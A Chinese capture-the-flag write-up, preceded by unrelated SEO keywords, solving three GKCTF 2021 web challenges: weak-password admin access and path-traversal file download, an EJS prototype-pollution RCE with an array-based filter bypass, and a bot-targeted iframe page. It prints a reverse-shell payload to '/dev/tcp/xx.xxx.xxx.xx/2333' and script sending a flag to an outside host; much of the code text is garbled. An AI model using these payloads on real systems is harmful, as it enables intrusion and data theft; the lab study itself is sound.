深圳团购网站设计哪家好,网站模板建设,wordpress数据库加速,青岛上市公司网站建设[GKCTF 2021]easycms
考察#xff1a;
用扫描工具扫描目录#xff0c;扫描到后台登录界面/admin.php 题目提示了密码是五位弱口令#xff0c;试了试弱口令admin和12345直接成功了
任意文件下载
点击设计--主题然后随便选择一个主题#xff0c;点击自定义#xff0…[GKCTF 2021]easycms
考察
用扫描工具扫描目录扫描到后台登录界面/admin.php 题目提示了密码是五位弱口令试了试弱口令admin和12345直接成功了
任意文件下载
点击设计--主题然后随便选择一个主题点击自定义有一个导出主题 下载下来的文件右键复制下载链接
http://node4.anna.nssctf.cn:28649/admin.php?muifdownloadthemethemeL3Zhci93d3cvaHRtbC9zeXN0ZW0vdG1wL3RoZW1lL2RlZmF1bHQveHh4LnppcA
最后是一串base64编码解密后是/var/www/html/system/tmp/theme/default/12.zip而且是文件的绝对路径我们直接包含/flag就可以了base64加密一下成为L2ZsYWc
paylaod:
http://node4.anna.nssctf.cn:28649/admin.php?muifdownloadthemethemeL2ZsYWc
下载后是个压缩包将文件扩展名改成.txt或者直接用notepad打开得到flag 文件上传 设计——自定义——首页——编辑选择php源代码 保存的时候要我先创建一个nhvt.txt文件这个文件名是每个人不一样的 设计——组件——素材库——上传素材 先上传一个txt文件然后编辑它的名称改成…/…/…/…/…/system/tmp/nhvt 然后回去编辑php代码 返回网站首页得到flag [GKCTF 2021]easynode
考察js 弱类型 、ejs 原型链污染
源码index.js文件
const express require(express);
const format require(string-format);
const { select,close } require(./tools);
const app new express();
var extend require(js-extend).extend
const ejs require(ejs);
const {generateToken,verifyToken} require(./encrypt);
var cookieParser require(cookie-parser);
app.use(express.urlencoded({ extended: true }));
app.use(express.static((__dirname/public/)));
app.use(cookieParser());// 过滤username和password中的危险字符
let safeQuery async (username,password){const waf (str){// console.log(str);blacklist [\\,\^,),(,\,\]blacklist.forEach(element {if (str element){str *;}});return str;}
// 配合waf函数把黑名单里的危险字符依次替换为 * 但是是 弱类型比较
//
//
// 这里操作就可以让username 为一个数组这样 str[i] 就是一个键值就直接绕过了WAF
// 再通过WAF中拼凑操作 因为JS中如果两个数组相加 最后的数组被转换为一个字符串
// 要注意这里post的username数组长度一定要长 不然无法登录const safeStr (str){ for(let i 0;i str.length;i){if (waf(str[i]) *){str str.slice(0, i) * str.slice(i 1, str.length);}}return str;}username safeStr(username);password safeStr(password);let sql format(select * from test where username {} and password {},username.substr(0,20),password.substr(0,20));// console.log(sql);result JSON.parse(JSON.stringify(await select(sql)));return result;
}app.get(/, async(req,res){const html await ejs.renderFile(__dirname /public/index.html)res.writeHead(200, {Content-Type: text/html});res.end(html)
})app.post(/login,function(req,res,next){let username req.body.username;let password req.body.password;safeQuery(username,password).then(result {if(result[0]){const token generateToken(username)res.json({msg:yes,token:token});}else{res.json({msg:username or password wrong});}}).then(close()).catch(err{res.json({msg:something wrong!});});})app.get(/admin,async (req,res,next) {const token req.cookies.tokenlet result verifyToken(token);if (result !err){username resultvar sql select board from board where username ${username};var query JSON.parse(JSON.stringify(await select(sql).then(close()))); board JSON.parse(query[0].board);console.log(board);const html await ejs.renderFile(__dirname /public/admin.ejs,{board,username})res.writeHead(200, {Content-Type: text/html});res.end(html)} else{res.json({msg:stop!!!});}
});app.post(/addAdmin,async (req,res,next) {let username req.body.username;let password req.body.password;const token req.cookies.tokenlet result verifyToken(token);if (result !err){gift JSON.stringify({ [username]:{name:Blue-Eyes White Dragon,ATK:3000,DEF:2500,URL:https://ftp.bmp.ovh/imgs/2021/06/f66c705bd748e034.jpg}});var sql format(INSERT INTO test (username, password) VALUES ({},{}) ,username,password);select(sql).then(close()).catch( (err){console.log(err)}); var sql format(INSERT INTO board (username, board) VALUES (\{}\,\{}\) ,username,gift);console.log(sql);select(sql).then(close()).catch( (err){console.log(err)});res.end(add admin successful!)}else{res.end(stop!!!);}
});app.post(/adminDIV,async(req,res,next) {const token req.cookies.tokenvar data JSON.parse(req.body.data)let result verifyToken(token);if(result !err){username result;var sql select board from board;var query JSON.parse(JSON.stringify(await select(sql).then(close()))); board JSON.parse(query[0].board);console.log(board);// 让{__proto__:{outputFunctionName:_tmp1;global.process.mainModule.require(child_process).exec(bash -c \bash -i /dev/tcp/xx.xxx.xxx.xx/2333 01\);var __tmp2}} 进行 extend 操作for(var key in data){var addDIV {${username}:{${key}:${data[key]}}};extend(board,JSON.parse(addDIV));}// 思路 username 等于 __proto想要这样就需要创建用户就回到/addAdmin路由所以我们就需要admin的token// 总的操作就是 login里面POST传username绕过获得token 再去addAdmin创建用户 最后获取__proto__用户的token 用token去adminDIV POST data数据污染 然后再去admin就能反弹shellsql update board SET board ${JSON.stringify(board)} where username ${username}select(sql).then(close()).catch( (err){console.log(err)}); res.json({msg:addDiv successful!!!});}else{res.end(nonono);}
});app.listen(1337, () {console.log(App listening at port 1337)
})
大概看一下最后我们其实就需要达到extend去原型链污染而且存在 ejs 模板引擎所以可以RCE所以就需要获得 token 登录最后在 /admin 路由进行渲染打到RCE
var addDIV {${username}:{${key}:${data[key]}}};extend(board,JSON.parse(addDIV));看到这里我们就是想让{__proto__:{outputFunctionName:_tmp1;global.process.mainModule.require(child_process).exec(bash -c \bash -i /dev/tcp/47.xxx.xxx.72/2333 01\);var __tmp2}} 进行 extend 操作
所以我们就需要让 username 等于 __proto想要这样就需要创建用户就回到/addAdmin路由所以我们就需要admin的token
回到最上面 这里可以输出token所以我们只需要登录成功就行但是它对username和password进行了WAF操作我们就想进行绕过核心代码
let safeQuery async (username,password){ // 过滤username和password中的危险字符并进行select查询const waf (str){// console.log(str);blacklist [\\,\^,),(,\,\]blacklist.forEach(element {if (str element){str *;}});return str;}const safeStr (str){ for(let i 0;i str.length;i){ // 配合 waf 函数将黑名单里的危险字符依次替换为 *if (waf(str[i]) *){str str.slice(0, i) * str.slice(i 1, str.length);}}return str;}
username safeStr(username);
password safeStr(password);
let sql format(select * from test where username {} and password {},username.substr(0,20),password.substr(0,20));就是判断 username 和 password 的字符是否存在黑名单存在转换成 * 然后一看判断是 可以使用弱类型绕过即让username 为一个数组这样 str[i] 就是一个键值就直接绕过了WAF但是这样的 username 还是一个数组啊如何插入SQL语句中造成登录成功呢
在 JS 中如果将如果将两个数组相加则最终数组将被转换成一个字符串 获取token的WAF弱比较绕过
username[]admin#username[]1username[]1username[]1username[]1username[]1username[]1username[]1username[]1username[](password123456POST反弹 Shell 部分的命令进行 base64 编码避免一些控制字符的干扰。因为这里的POST方法发送的不是 JSON
data{outputFunctionName:_tmp1;global.process.mainModule.require(child_process).exec(echo%20这里写base64后的受害者语句%3D%7Cbase64%20-d%7Cbash);var __tmp2} 上面说的受害者语句 就用下面的去转base64
bash -c bash -i /dev/tcp/xx.xxx.xxx.xx/2333 01 然后访问 /admin 路由去渲染进入 ejs 渲染引擎触发RCE 对于java考点题目还是有点懵的 [GKCTF 2021]CheckBot
考察
进去源代码处有提示把uri通过post方式给它 在admin.php处发现flag但应该要本地访问才行这题bot会点击我们发过去的链接那就整个csrf吧 把下面的代码放在自己的vps上然后把网址发过去让bot去访问bot访问后会把flag发到我们监听的端口这就可以成功获取flag
htmlbodyiframe idflag srchttp://127.0.0.1/admin.php/iframescriptwindow.onload function(){/* Prepare flag */let flag document.getElementById(flag).contentWindow.document.getElementById(flag).innerHTML;/* Export flag */var exportFlag new XMLHttpRequest();exportFlag.open(get, http://node4.anna.nssctf.cn:28554/flagis- window.btoa(flag));exportFlag.send();}/script/body
/html
后面做法我的操作不行这道题就pass了
参考资料[GKCTF 2021]CheckBot-CSDN博客